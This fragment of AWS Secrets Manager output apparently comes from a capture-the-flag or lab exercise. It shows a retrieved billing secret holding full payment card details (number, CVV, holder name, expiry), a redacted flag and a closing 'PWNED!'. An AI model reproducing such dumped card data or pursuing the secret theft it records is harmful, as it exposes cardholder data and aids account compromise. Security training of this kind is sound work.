"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
"Name": "billing/hl-default-payment",
"VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
"SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"<redacted>\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-08-05T06:33:39.867000+08:00"
}
PWNED!